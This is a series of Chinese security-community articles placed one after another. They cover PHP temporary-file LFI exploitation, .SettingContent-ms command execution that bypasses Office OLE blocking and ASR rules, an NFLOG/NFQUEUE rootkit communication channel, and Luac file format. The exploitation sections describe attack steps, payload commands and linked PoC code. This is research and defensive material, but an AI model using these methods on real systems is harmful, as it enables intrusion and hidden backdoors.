看到这里，可能很多人要喷了，说是什么都是别人的，你这一点都不干货，那就关注我，加我打一场王者荣耀，我玩关羽有一套纳。不多谈了，继续技术探讨。
## 0x02 爬虫实践
这里我们直接去看360team的crawlergo
参考：<https://github.com/0Kee-Team/crawlergo>
具体是我们可以先下载一个download-chromium
参考：<https://download-chromium.appspot.com>
样子长这样：
然后直接把下载好的crawlergo和chormium放到一个目录下，这是我的习惯。
执行命令：
./crawlergo -c chromium.app/Contents/MacOS/Chromium -t 20 url
我看了下，这些可以在渗透测试的时候做情报收集，爬取的url通过正则匹配出来更多url和参数，从而更好的进行渗透测试，关于情报收集的情况下，我会另外总结一篇文章。
至于效果怎么样，只有试过才知道，如果你挖洞到无聊，不如玩下这个工具。
0x03 Xray Scanner
具体使用最好看官方文档 xray 官方文档
<https://xray.cool/xray/#/tutorial/introduce>
这里只总结一个脚本一键开启的：
#!/bin/bash
./xray webscan --listen 127.0.0.1:1664 --html-output $(date "%Y%m%d_%H%M%S").html
## 0x04 URL自动化更新
这个的话，其实每个人都有自己的方法，估计我们手机都在监控最新的src域名，至于如何发现厂商的新域名或者测试域名呢，每个人有每个人的方法和思路。
我提供一个我的思路，子域名结合dns爆破，每天晚上跑一遍全部src厂商的子域名，应该是问题不大的，然后每天进行和历史库里进行对比就可以做到发现新域名。
好吧，这里也简单推荐一个大神的子域名神器：FeeiCN/ESD
下载地址：<https://github.com/FeeiCN/ESD>
使用步骤就不提了，如何做到src域名和子域名爆破结合，自己写一个python脚本就可以了。
需要注意的几点有：
数据库设计，用sqllite确实会方便很多，但是坑比较多，容易锁死。后来选的是mongo。
确定好跑全部厂商域名的时间，我这linux服务器能够保证一天跑src厂商全部子域名，可以做到每天更新域名，自动喂新域名给扫描器，这是一个可持续过程。
记录子域名对应的服务器ip，最后做服务器资产管理（如果发现对应ip不是相关厂商的title,这个可能是厂商忘记解绑ip，如果ip是黑产控制，这就可以劫持厂商，这个也是漏洞）
定期扫描全部存活子域名备份和敏感信息文件
看一下之前我总结的一些子域名信息：
## 0x05 后续漏洞提醒
对于挖洞的后续，当然就是漏洞提醒了，我的思路是对接到企业微信应该效果比较好，邮件什么的还是交互比较差，安全性有时候也是一个问题。
有时间服务器被黑，或者代码泄漏，会直接导致邮箱被黑的，所以我也养成了定期清理邮件的习惯。
## 0x06 总结
他山之石可以攻玉，但是手艺可千万不要丢了，个人认为手工还是很靠谱的，但是如果站很多，才考虑进行自动化挖洞。
思路决定出路，加油！！！
本文作者： **mzFuzz** | 社区文章 |
# PHP临时文件机制与利用的思考
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 起因
这几天在研究session.upload的机制的时候，发现文件上传以后会在临时存储目录下生成文件名为php**.tmp的文件，而且该文件内容就是上传的内容，于是就想好好了解一下PHP中的临时文件的机制。
## 0x01 了解PHP临时文件
在PHP中可以使用POST方法或者PUT方法进行文本和二进制文件的上传。
上传后会文件会保存在全局变量$_FILES里，该数组包含了所有上传文件的文件信息。
1. $_FILES[‘userfile’][‘name’] 客户端文件的原名称。
2. $_FILES[‘userfile’][‘type’] 文件的 MIME 类型，如果浏览器提供该信息的支持，例如”image/gif”。
3. $_FILES[‘userfile’][‘size’] 已上传文件的大小，单位为字节。
4. $_FILES[‘userfile’][‘tmp_name’] 文件被上传后在服务端储存的临时文件名，一般是系统默认。可以在php.ini的upload_tmp_dir 指定，默认是/tmp目录。
5. $_FILES[‘userfile’][‘error’] 该文件上传的错误代码，上传成功其值为0，否则为错误信息。
6. $_FILES[‘userfile’][‘tmp_name’] 文件被上传后在服务端存储的临时文件名
这里的重点就是 **$_FILES[‘userfile’][‘tmp_name’]** 这个变量。
### 临时文件的存储目录
文件被上传后，默认会被存储到服务端的默认临时目录中，该临时目录由 **php.ini** 的 **upload_tmp_dir** 属性指定，假如
**upload_tmp_dir** 的路径不可写，PHP会上传到系统默认的临时目录中，假如开启了 **open_basedir**
，要想成功上传，系统默认临时目录需要指定PHP可访问。
在wamp中， **upload_tmp_dir** 属性默认为wamp安装目录下的tmp文件夹：
在Centos7中， **upload_tmp_dir** 没有指定，所以会使用系统默认临时目录，这里是 **/tmp** 目录，该属性可以通过
**sys_get_temp_dir()** 函数来获得
### 临时文件的命名规则
在上传存储到临时目录后， **临时文件命名的规则如下** :
默认为 php+4或者6位随机数字和大小写字母
php[0-9A-Za-z]{3,4,5,6}
比如 ：phpXXXXXX.tmp 在windows下有tmp后缀，linux没有。
windows下，在windows环境中，php会调用 **GetTempFileName** 方法，具体定义在源码的
**php_open_temporary_file.c** 中
在linux下则是适用 **mkstemp** 方法，此方法依赖于glibc的编译方式，通常生成6位随机数，范围为62（A-Za-z0-9）
### 临时文件的正常存活周期
上面这张图是PHP在通过POST方法上传文件时的运行周期图，可以看到我们临时文件的存活周期就是上图红色框中的时间段。另外，如果在php运行的过程中，假如php非正常结束，比如崩溃，那么这个临时文件就会永久的保留。如果php正常的结束，并且该文件没有被移动到其它地方也没有被改名，则该文件将在表单请求结束时被删除。
## 0x02 如何利用？
既然了解了PHP上传会产生临时文件，并且文件内容可控，那我们就不禁要思考思考，这里有没有存在可以利用的点呢？
这就有以下几个问题：
### 问题一：如何能够访问到该临时文件？
由于临时文件目录一般不可访问，因此想要利用临时文件一般需要配合文件包含，或者某些ssrf结合包含来进行利用。
### 问题二：如何获得临时文件的文件名？
1.在前面介绍过临时文件的命名规则，因此，当我们获得了一个文件包含点时，可以通过暴力猜解文件名来得到。这时最朴素，最笨拙的方法，但也是最有效的方法。
2.在windows中，利用了FindFirstFile方法，可以通过通配符来进行文件包含，在linux中也有相应的一些方法。
3.第三种方法就是通过 **/proc/self/fd/xxx**
来获得，xxx从10开始，这里获得的时当前运行进程ID的一些符号链接，这个方式的有效性取决于上传文件的大小，大文件可以增加尝试的时间。
获得文件名的方法应该有很多，这里只列举最笨拙的几种
### 如何在php运行时间内包含到该临时文件？
1.本地文件包含可以让php **包含自身**
从而导致死循环，然后php守护进程产生内存溢出，然后php会崩溃，php自身是不会因为错误直接退出的，它会清空自己的内存堆栈，以便从错误中恢复，这就保证了web服务的正常运转的同时，打断了php对临时文件的处理，在这个时候对任一php文件进行post文件请求，临时文件就会被保留。
正常的执行流程应该如下图所示：
而在漏洞利用过程中：
因此临时目录下的临时文件有部分得以保存，再通过包含这部分文件即可getshell。
在实际测试过程中，我使用wamp分别测试了版本是7.2.14和7.1.26和7.0.33和5.6.40的php，利用这个方法可以使临时文件存在时间延长到5s，但是最后还是会删除，但是在5.5.9等比较旧的版本是可以成功的，在这些高版本中，如果能在这5s内包含到文件也算是成功利用，不过这难度太大，如果有好的思路希望可以交流。
新起一个docker（php:apache） ，版本就是latest的，尝试适用多线程去跑，开了50个线程
payload选择null payloads并选择持续的跑，跑了一段时间之后就可以停止了。
在docker中观察，如果一直开着，临时文件始终保持50个，停止之后，临时文件奇怪的先增加了，然后又减少，一直到最后，有部分文件被保存了下来，回想起前面说的，php只有正常结束临时文件才会清除，因此这可能跟配置有关，比如一大堆的请求阻塞着，最后某些线程崩溃，导致部分文件被驻留在tmp目录，笔者自身对怎么调试php不太熟悉，因此这个先增加后减少的具体原因还不确定。
这个时候就可以跑脚本来爆破文件名，为了不占字数，我把脚本都放在文末的附录中，这里要注意有可能因为前面访问次数太频繁而被禁止访问出现Max retries
exceeded with url错误，需要更换代理来爆破文件名，或者捕获Connection error来进行处理。
2.根据@王一航师傅去年的一个发现，利用 **php://filter/string.strip_tags** 造成崩溃。在含有文件包含漏洞的地方，使用
**php://filter/string.strip_tags** 导致php崩溃清空堆栈重启，如果在同时上传了一个文件，那么这个tmp
file就会一直留在tmp目录，再进行文件名爆破就可以getshell，这个崩溃原因是存在一处空指针引用。根据师傅所说这个点只在php7.2以下存在，我把大部分的版本都测了一下。
经过测试，该方法仅适用于以下php7版本，php5并不存在该崩溃：
• php7.0.0-7.1.2可以利用， 7.1.2x版本的已被修复
• php7.1.3-7.2.1可以利用， 7.2.1x版本的已被修复
• php7.2.2-7.2.8可以利用， 7.2.9一直到7.3到现在的版本已被修复
临时文件由于崩溃成功保留下来
3.利用wupco师傅发现的 **filter:`convert.quoted-printable-encode`**导致的segment
fault。实际上，这个崩溃并不适用于include，require等函数，经过测试，该方法适用于以下版本（201812月以前的版本，由于师傅提交了因此之后的版本修复了，tql）的以下函数（file函数，file_get_contents函数，readfile函数）：
• php7.0.0-7.0.32
• php7.0.4-7.2.12
• php<=5.6.38的版本
这里要说明下5.6.39-5.6.9以内的版本并不存在这个崩溃
在这里介绍的三种方式中，自包含是最不稳定的而且经常阻塞服务器，第二第三种只要符合特定版本，就可以稳定利用，最后爆破文件名来利用。
## 0x03 总结与附录
对PHP临时文件机制的学习让我对如何利用LFI有了新的方向，只要找到包含点，就能比较容易getshell。
文章中所用到的文件名爆破脚本和上传脚本都可以在此处找到
<https://github.com/Mote-Z/PHP-Is-The-Best/tree/master/PHP_Tempfile_Exploit>
## 0x04 参考文献
1.https://insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf
2.http://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf
3.https://www.php.net/manual/zh/features.file-upload.post-method.php
4.https://repo.zenk-security.com/Techniques%20d.attaques%20%20.%20%20Failles/HTTP%20HEAD%20method%20trick%20in%20php%20scripts.pdf
5.https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view
6.https://www.jianshu.com/p/dfd049924258
7.https://bugs.php.net/bug.php?id=77231
8.https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/ | 社区文章 |
原文：<https://enigma0x3.net/2018/06/11/the-tale-of-settingcontent-ms-files/>
作为攻击者，当面临一个经过安全加固的目标系统时，撕开系统的第一个口子通常是一个非常大的挑战。因为在选择有效载荷时，攻击者在文件格式的选择上面面临这样的限制：只需最少的用户交互就能执行代码或shell命令。实际上，能够满足这些要求的文件格式不多，常用的有.HTA、Office宏、.VBS、.JS等。在Windows上，由于内置文件格式非常有限，并且安全措施也不少，所以，可选的有效载荷的范围会进一步缩小。
此外，攻击者只是把有效载荷传递给最终用户还远远不够，同时，还必须让其得到执行才行。同样，这也会带来非常大的限制，因为直接链接到有效载荷或以电子邮件附件形式传递的话，防病毒软件或浏览器的保护措施通常会阻止这些文件进一步执行。这就是攻击者使用对象链接和嵌入（OLE）、ZIP文件的原因。为了对抗这些攻击手段，Office
2016在默认情况下会[拦截通过OLE嵌入的具有“危险”格式的所有文件](https://support.office.com/en-us/article/Packager-Activation-in-Office-2016-52808039-4A7C-4550-BE3A-869DD338D834
"拦截通过OLE嵌入的具有“危险”格式的所有文件")。当试图运行具有被禁止的文件扩展名的文件时，Office将抛出错误并阻止其执行：
除了OLE拦截之外，微软还在Windows 10中引入了攻击面缩减（[ASR](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-exploit-guard/attack-surface-reduction-exploit-guard "ASR")）规则，当然，它依赖于Windows Defender
AV。这些规则的目的是减少可供攻击者用来在系统上执行代码的各种功能。一个最受欢迎和最有效的ASR规则就是“阻止Office应用程序创建子进程”。该规则不允许将生成的进程作为Office应用程序的子进程：
将OLE拦截和ASR结合在一起时，通过Internet让端点执行代码的方法将变得更加有限了。也就是说，对于Office
2016来说，大多数原来有效的文件类型无法通过OLE进行传递，而且ASR的子进程创建规则可防止在Office应用程序下生成任何子进程实例。
我们怎样才能绕过这些限制呢？首先，让我们先来解决文件格式问题。我花了很多时间来考察注册表，希望能够找到一些“漏网的”文件格式。这些格式可以在 HKCR:\
registry hive的根目录中找到。为了找到所需的格式，首先，要提取出所有已注册的文件格式，然后，再对可能的格式进行检查。
读了无数个小时的文件规范后，我偶然发现了“.SettingContent-ms”文件类型。这种格式是在Windows 10中引入的，用于为各种Windows
10设置页面创建“快捷方式”。实际上，它们就是一些XML文件，用于存放Windows 10设置二进制文件的路径。下面给出一个.SettingContent-ms文件的例子：
这个文件的功能非常简单：为用户打开控制面板。在这个文件中，最让人感兴趣的是模式中的<deeplink>元素。该元素可以接收带有参数的二进制文件并执行它。问题来了，如果将“control.exe”替换为“cmd.exe
/c calc.exe”之类的东西，会发生什么呢？</deeplink>
然后，如果我们双击该文件，将会看到：
有趣的是，当双击该文件时，没有出现“open”提示；相反，Windows直接就把命令给执行了。
太棒了！我们找到了一种只要打开文件就能执行shell命令的文件格式。现在，具体该如何实施呢？接下来，我们来看看如果通过链接直接从互联网投递这个文件，将会发生什么情况。
(视频链接)
好极了！当从互联网直接下载这个文件时，只要用户点击“open”按钮，还是会执行。通过考察文件的数据流，你会注意到，它实际上会抓取网页标记（[Mark-Of-the-Web](https://help.madcapsoftware.com/flare2018/Content/Flare/Targets/More/Adding-MOTW.htm "Mark-Of-the-Web")）：
在网上查[ZoneIds](https://blogs.msdn.microsoft.com/oldnewthing/20131104-00/?p=2753
"ZoneIds")后，发现“3”等于“URLZONE_INTERNET”。由于某些原因，文件仍然在没有任何通知或警告的情况下执行。
因此，我们现在找到了一种符合要求的文件类型：可以用来执行任意的shell命令，并且不会向用户显示警告或对话。当寻找系统的突破口的时候，使用不常见的文件类型容易引起人们的怀疑。在理想情况下，应将其植入更常见的文件类型中，例如Office文档。
如前所述，当利用OLE方式嵌入内容时，如果文件类型位于黑名单中的话，那么Office
2016就会将其拦截。但幸运的是，该[黑名单](https://support.office.com/en-us/article/Packager-Activation-in-Office-2016-52808039-4A7C-4550-BE3A-869DD338D834
"黑名单")并没有包括SettingContent-ms文件格式：
现在，我们可以通过OLE嵌入恶意的.SettingContent-ms文件来绕开针对Office 2016 OLE文件类型的限制：
当文档来自互联网并且其中嵌入了.SettingContent-ms文件时，用户只会看到“Open Package
Contents”提示。如果用户点击了“Open”按钮，同样会导致文件执行。如果系统没有启用任何攻击面缩减规则，攻击者就可以在端点上执行代码了。关于如何启用ASR的子进程创建规则，请参考本文的开头部分。还需要注意的是，截至本文发布时，ASR规则似乎不适用于从Windows应用商店安装的Office。
[启用这些规则](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-exploit-guard/enable-attack-surface-reduction
"启用这些规则")非常简单，可以使用一个PowerShell命令来完成：“Set-MpPreference
-AttackSurfaceReductionRules_Ids <rule id="">
-AttackSurfaceReductionRules_Actions Enabled”</rule>
<rule id="">参数是要启用的规则的GUID。读者可以从[这里](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-exploit-guard/attack-surface-reduction-exploit-guard "这里")找到每个ASR规则的GUID。对于该测试，我想启用的是子进程创建规则，即GUID
D4F940AB-401B-4EFC-AADC-AD5F3C50688A。</rule>
启用该规则后，效果如下所示：
由于该规则旨在阻止从Office应用程序生成子进程，因此，当我们的有效载荷仍旧会执行，但是前面设置的规则会将拦截该命令。这促使我思考ASR是如何在不破坏某些功能的情况下实现这一点的。刚开始的时候，我是通过在随机路径中随机测试二进制文件的方法来判断ASR是否是根据二进制文件的路径进行拦截的。不过，由于这种方法非常耗时，没过多久就坚持不下去了。
最后，我退了一步，转而考虑Office的哪些部分是必需正工作的。在运行ProcMon并在Word中点击一番之后，当查看Process
Explorer时，发现系统中仍然存在由Word生成的子进程。
当然，这么做有道理的，因为Office需要用到一些依赖于其他程序的功能。我认为ASR规则可能是根据镜像路径来阻止子进程的，但是当激活某些功能时，仍然允许利用Office路径中的镜像来生成子进程。
为了检验这个假设，我将自己的.SettingContent-ms文件改为“Excel.exe”的路径：
然后将这个新文件嵌入到Word文档中，并查看ASR是否阻止生成“Excel.exe”进程。
有趣的是，ASR会允许Excel启动。因此，子进程创建ASR规则似乎是基于列入白名单的路径来进行决策的。
于是，我开始从“C:\Program Files\Microsoft
Office”路径中寻找可用的二进制文件——又是一条漫长之路，我逐个测试，通过命令行将“C:\Windows\System32\cmd.exe”作为参数传递给它们。苍天不负有心人，经过一番努力之后，终于成功了：
太妙了！这意味着可以利用“AppVLP”来执行shell命令。通常，这个二进制文件是用于应用程序虚拟化的，但这里竟然可以用于绕过ASR文件路径规则。为了进行深入的测试，我更新了自己的.SettingContent-ms文件，具体如下所示：
现在，只需将该文件嵌入Office文档并执行即可：
如您所见，即使Office 2016启用了OLE拦截功能和ASR的子进程创建规则，在.SettingContent-ms文件与Office文件夹中的“AppVLP.exe”的配合下，仍然可以绕过这些限制，从而执行任意命令。
尽管Office文档通常会用MOTW进行标记，并在受保护的视图沙盒中打开，但某些文件格式仍然允许使用OLE，并且受保护的视图沙箱也拿它们没招。读者可以从这里找到更多这样的文件类型。
**总结**
* * *
在研究了ASR和Windows
10中的新文件格式之后，我意识到，对每个Windows版本中新增的二进制文件和文件类型进行严格的安全审查是非常重要的。就本文来说，攻击者可以利用SettingContent-ms扩展能够绕过ASR规则和Office 2016
OLE拦截技术，在最新版本的Windows上运行任意命令。此外，尽管应用了MOTW，某些文件类型似乎在打开后仍然可以立即执行（即使从互联网上下载的文件，也是如此）。
**防御措施**
* * *
那么，我们如何防御这种攻击方法呢？总之，不要允许.SettingContent-ms文件在“C:\Windows\ImmersiveControlPanel”路径之外的任何地方执行。此外，由于该文件格式只允许执行shell命令，因此，通过该文件做的任何事情，都会被记录到命令行日志中。
另外，还可以一直监视从Office应用程序创建的子进程。虽然有些应用程序进程应该是从Office应用程序派生的，但是数量很少，因此，监视异常情况将非常有用。要想完成这些工作，可以借助于Sysmon工具。
此外，还有一种防御方法，那就是通过杀死这种文件格式的处理程序来防止收到这种类型的攻击。不过，我没有对此进行广泛的测试，并且不能保证Windows内的某些内容不会因此而受影响。对于那些想要了解杀死.SettingContent-ms文件格式的处理程序会带来什么影响的读者，可以将“HKLM:\SettingContent\Shell\Open\Command”中的“DelegateExecute”键设置为空。同样，这也可能会破坏操作系统上的某些功能，因此，请大家三思而后行。
这里，我们提供了一个SettingContent-ms文件的PoC：
<https://gist.github.com/enigma0x3/b948b81717fd6b72e0a4baca033e07f8> | 社区文章 |
# 背景
蜜罐产品有个功能是对任何端口的访问都会被记录，即使是"nmap扫描后显示关闭"的端口访问也会被记录。它的实现原理是iptables的NFLOG。
学习NFLOG概念后，我想到也可以用它来做rootkit通信。
本文包括以下内容
* 讨论NFLOG是什么
* 用NFLOG机制实现后门的优势分析
* NFQUEUE rootkit demo
希望能对主机安全感兴趣的读者有点帮助
# NFLOG是什么
它是一个target，就像`ACCEPT`、`DROP`等可以作为`iptables -j`后的参数值。
[root@instance-h9w7mlyv ~]# iptables -A INPUT -p tcp -m multiport --dports 1:65535 -j NFLOG --nflog-group 2333
比如上面规则就会告诉内核协议栈，在收到包时，目的端口是1到65535的包，全部执行NFLOG动作。
`man iptables-extensions` 文档中也有关于NFLOG的说明
NFLOG
This target provides logging of matching packets. When this target is set for a rule, the Linux kernel will pass the packet to the loaded logging backend to log the packet. This is usually
used in combination with nfnetlink_log as logging backend, which will multicast the packet through a netlink socket to the specified multicast group. One or more userspace processes may sub- scribe to the group to receive the packets. Like LOG, this is a non-terminating target, i.e. rule traversal continues at the next rule.
--nflog-group nlgroup
The netlink group (0 - 2^16-1) to which packets are (only applicable for nfnetlink_log). The default value is 0.
...
`-j NFLOG`和`-j LOG`有些类似，都可以记录数据包信息，执行动作后会继续匹配iptables规则中的下一条。区别是`-j
NFLOG`可以让用户态程序通过`netlink`从内核获得数据包信息。
下面你可以和我一起做个小实验来验证一下,用户态程序是否可以通过`netlink`获取到数据包。
# 用tcpdump验证
第一步，你需要配置iptables的nflog规则。
[root@instance-h9w7mlyv ~]# iptables -A INPUT -p tcp -m multiport --dports 65530:65535 -j NFLOG --nflog-group 2333
第二步，使用`tcpdump`订阅netlink消息。
[root@instance-h9w7mlyv ~]# tcpdump -i nflog:2333
第三步，访问主机，验证`tcpdump`是否能获取到数据包。
`curl x.x.x.x:65533` 后，可以抓到数据包。
[root@instance-h9w7mlyv ~]# tcpdump -i nflog:2333
...
listening on nflog:2333, link-type NFLOG (Linux netfilter log messages), capture size 262144 bytes
11:42:15.175375 IP 111.197.238.30.22293 > instance-h9w7mlyv.65533: Flags [S], seq 3599662212, win 65535, options [mss 1452,nop,wscale 6,nop,nop,TS val 3053845653 ecr 0,sackOK,eol], length 0
或许你会有一个问题：`tcpdump -i nflog:2333`和`tcpdump -i eth0`都可以获取数据包，有啥区别。
从编程实现来看是有区别的，`tcpdump -i eth0`是基于`AF_PACKET`获取数据
[root@instance-h9w7mlyv ~]# strace tcpdump -i lo
socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)) = 3
...
setsockopt(3, SOL_PACKET, PACKET_RX_RING, 0x7ffeef157d10, 28) = 0 // Packet MMAP提高抓包性能，参考 https://github.com/torvalds/linux/blob/master/Documentation/networking/packet_mmap.rst
mmap(NULL, 4194304, PROT_READ|PROT_WRITE, MAP_SHARED, 3, 0) = 0x7fedba9a5000
...
setsockopt(3, SOL_SOCKET, SO_ATTACH_FILTER, {len=1, filter=0x7ff0a4ee8000}, 16) = 0 // bpf filter
setsockopt(3, SOL_SOCKET, SO_ATTACH_FILTER, {len=1, filter=0x56436b7fe480}, 16) = 0
...
poll([{fd=3, events=POLLIN}], 1, 1000) = 0 (Timeout)
poll([{fd=3, events=POLLIN}], 1, 1000) = 1 ([{fd=3, revents=POLLIN}])
write(1, "12:27:16.575888 IP localhost.416"..., 16512:27:16.575888 IP localhost.41616 > localhost.http: Flags [S], seq 3517707840, win 43690, options [mss 65495,sackOK,TS val 1304864277 ecr 0,nop,wscale 7], length 0
`tcpdump -i nflog:2333`是基于`AF_NETLINK`获取数据
[root@instance-h9w7mlyv ~]# strace tcpdump -i nflog:2333
socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER) = 3
...
recvfrom(3,[{{len=184, type=NFNL_SUBSYS_ULOG<<8|NFULNL_MSG_PACKET, flags=0, seq=0, pid=0}, {nfgen_family=AF_INET, version=NFNETLINK_V0, res_id=htons(2333), [{{nla_len=8, nla_type=NFNETLINK_V1}, "\x08\x00\x01\x00"}, {{nla_len=5, nla_type=0xa}, "\x00"}, {{nla_len=8, nla_type=0x4}, "\x00\x00\x00\x02"}, {{nla_len=16, nla_type=0x8}, "\x00\x06\x00\x00\xfa\x16\x3e\xd1\x8d\x2d\x00\x00"}, {{nla_len=6, nla_type=0xf}, "\x00\x01"}, {{nla_len=6, nla_type=0x11}, "\x00\x0e"}, {{nla_len=18, nla_type=0x10}, "\xfa\x28\x00\x0d\x3f\xff\xfa\x16\x3e\xd1\x8d\x2d\x08\x00"}, {{nla_len=20, nla_type=0x3}, "\x00\x00\x00\x00\x63\x08\x57\x83\x00\x00\x00\x00\x00\x03\x49\x03"}, {{nla_len=68, nla_type=0x9}, "\x45\x00\x00\x40\x00\x00\x40\x00\x32\x06\x1e\xc0\x6f\xc5\xee\x1e\xac\x10\x20\x04\x5b\x41\xff\xfd\x5a\x0c\x47\xf0\x00\x00\x00\x00"...}]}, {{len=184, type=NFNL_SUBSYS_ULOG<<8|NFULNL_MSG_PACKET, flags=0, seq=0, pid=0}, {nfgen_family=AF_INET, version=NFNETLINK_V0, res_id=htons(2333), [{{nla_len=8, nla_type=NFNETLINK_V1}, "\x08\x00\x01\x00"}, {{nla_len=5, nla_type=0xa}, "\x00"}, {{nla_len=8, nla_type=0x4}, "\x00\x00\x00\x02"}, {{nla_len=16, nla_type=0x8}, "\x00\x06\x00\x00\xfa\x16\x3e\xd1\x8d\x2d\x00\x00"}, {{nla_len=6, nla_type=0xf}, "\x00\x01"}, {{nla_len=6, nla_type=0x11}, "\x00\x0e"}, {{nla_len=18, nla_type=0x10}, "\xfa\x28\x00\x0d\x3f\xff\xfa\x16\x3e\xd1\x8d\x2d\x08\x00"}, {{nla_len=20, nla_type=0x3}, "\x00\x00\x00\x00\x63\x08\x57\x84\x00\x00\x00\x00\x00\x03\x4b\x6c"}, {{nla_len=68, nla_type=0x9}, "\x45\x00\x00\x40\x00\x00\x40\x00\x32\x06\x1e\xc0\x6f\xc5\xee\x1e\xac\x10\x20\x04\x5b\x41\xff\xfd\x5a\x0c\x47\xf0\x00\x00\x00\x00"...}]}, {{len=20, type=NLMSG_DONE, flags=0, seq=0, pid=0}, 0}], 262272, 0, NULL, NULL) = 388
> 不知道为什么实现监听流量时，厂家选择了基于`NFLOG`而不是`AF_PACKET`来做。
而在实现rootkit中，我们也可以用`NFLOG`作为被控端和主控端的通信方式，下面来看一下它有什么好处。
# 利用`NFLOG`做rootkit有什么好处
就像在 [聊一聊基于"ebpf
xdp"的rootkit](https://mp.weixin.qq.com/s/Rezm05kP6fxB5Pwib1HxDA) 中我看到的:
"rootkit用xdp
ebpf和bpf技术都是为了通信时不监听端口，从而在网络行为上隐藏痕迹"。同样`NFLOG`也可以达到这个目的，甚至使用`NFLOG`相对于基于`AF_PACKET`的bpf后门从网络行为上看更隐蔽一点。为什么这么说呢？
举个例子，`chkrootkit`反入侵工具会通过`/proc/net/packet`检查哪些进程创建了`PF_PACKET`类型socket，因此可以发现bpf后门痕迹。
[root@instance-h9w7mlyv tmp]# gcc ifpromisc.c
[root@instance-h9w7mlyv tmp]# ./a.out
eth0: PF_PACKET(/usr/decoy/decoysvc, /usr/sbin/NetworkManager)
docker0: PF_PACKET(/usr/sbin/NetworkManager)
> AF_PACKET 和 PF_PACKET 同义
`chkrootkit`目前就不会检查`NFLOG`后门。虽然从`/proc/net/netlink`也可以看到哪些进程创建了`AF_NETLINK`类型socket，但是系统上正常进程也会创建很多`AF_NETLINK`类型socket，比如我在centos8虚机上看到有30多个记录。
[root@instance-h9w7mlyv tmp]# cat /proc/net/netlink | wc -l
32
> [聊一聊chkrookit的误信和误用](https://tttang.com/archive/340)
> 文章提到`chkrootkit`会扫描PF_PACKET
利用`NFLOG`也应该比较稳定。为什么我这么认为呢？
[一种HTTP隧道内核态远控的实现方法](https://mp.weixin.qq.com/s/Il80jMO7YbsgctQZJtq7Mw)
文中提到一个思路: 在内核态基于netfilter实现一个可回显的后门。
而`NFLOG`有现成的lib库做用户态编程，相比于内核编程，我想用户态程序应该更稳定、适配性更好吧。
另外，iptables还提供了一个和`NFLOG`类似的扩展`NFQUEUE`，`man iptables-extensions`文档提到`NFQUEUE`可以修改数据包。所以是不是可以用`NFQUEUE`在用户态基于netfilter实现一个可回显的后门呢？
# NFQUEUE后门demo
我们可以基于`libnetfilter_queue`写一个后门demo
代码我放在了 <https://gist.github.com/leveryd/f70bd0adbf8088446d98ec11ef16f478>
运行效果如下
> 因为我懒，所以这个后门没有实现回显。
# 总结
NFLOG在蜜罐、rootkit上都可以用到。
实现rootkit时，它的优点包括通信较为隐蔽、稳定、可回显。 | 社区文章 |
# 【技术分享】Lua程序逆向之Luac文件格式分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
作者：[非虫](http://bobao.360.cn/member/contribute?uid=2669205776)
预估稿费：600RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**简介**
****
Lua语言对于游戏开发与相关逆向分析的人来说并不陌生。Lua语言凭借其高效、简洁与跨平台等多种特性，一直稳立于游戏、移动APP等特定的开发领域中。
目前Lua主要有5.1、5.2、5.3共三个版本。5.1版本的Lua之所以目前仍然被广泛使用的原因之一，是由于另一个流行的项目LuaJit采用了该版本Lua的内核。单纯使用Lua来实现的项目中，5.2与5.3版本的Lua则更加流行。这里主要以Lua版本5.2为例，通过分析它生成的Luac字节码文件，完成Lua程序的初步分析，为以后更深入的反汇编、字节码置换与重组等技能打下基础。
**Lua与Luac**
Lua与Python一样，可以被定义为脚本型的语言，与Python生成pyc字节码一样，Lua程序也有自己的字节码格式luac。Lua程序在加载到内存中后，Lua虚拟机环境会将其编译为Luac（下面文中Luac与luac含义相同）字节码，因此，加载本地的Luac字节码与Lua源程序一样，在内存中都是编译好的二进制结构。
为了探究Luac的内幕，我们需要找到合适的资料与工具来辅助分析Luac文件。最好的资料莫过于Lua的源码，它包含了Lua相关知识的方方面面，阅读并理解Luac的构造与Lua虚拟机加载字节码的过程，便可以通透的了解Luac的格式。但这里并不打算这么做，而采取阅读第三方Lua反编译工具的代码。主要原因是：这类工具的代码往往更具有针对性，代码量也会少很多，分析与还原理解Luac字节码文件格式可以省掉不少的时间与精力。
**luadec** 与 **unlua**
是最流行的Luac反汇编与反编译工具，前者使用C++语言开发，后者使用Java语言，这两个工具都能很好的还原与解释Luac文件，但考虑到Lua本身采用C语言开发，并且接下来打算编写
**010 Editor** 编辑器的Luac.bt文件格式模板， **010 Editor**
的模板语法类似于C语言，为了在编码时更加顺利，这里分析时主要针对 **luadec** 。
**Luac文件格式**
一个Luac文件包含两部分：文件头与函数体。文件头格式定义如下：
typedef struct {
char signature[4]; //".lua"
uchar version;
uchar format;
uchar endian;
uchar size_int;
uchar size_size_t;
uchar size_Instruction;
uchar size_lua_Number;
uchar lua_num_valid;
uchar luac_tail[0x6];
} GlobalHeader;
第一个字段 **signature** 在lua.h头文件中有定义，它是 **LUA_SIGNATURE** ，取值为“33Lua"，其中， **33**
表示按键 **< esc>**。 **LUA_SIGNATURE** 作为Luac文件开头的4字节，它是Luac的Magic
Number，用来标识它为Luac字节码文件。Magic
Number在各种二进制文件格式中比较常见，通过是特定文件的前几个字节，用来表示一种特定的文件格式。
**version** 字段表示Luac文件的格式版本，它的值对应于Lua编译的版本，对于5.2版本的Lua生成的Luac文件，它的值为0x52。
**format**
字段是文件的格式标识，取值0代表official，表示它是官方定义的文件格式。这个字段的值不为0，表示这是一份经过修改的Luac文件格式，可能无法被官方的Lua虚拟机正常加载。
**endian** 表示Luac使用的字节序。现在主流的计算机的字节序主要有小端序 **LittleEndian** 与大端序 **BigEndian**
。这个字段的取值为1的话表示为 **LittleEndian** ，为0则表示使用 **BigEndian** 。
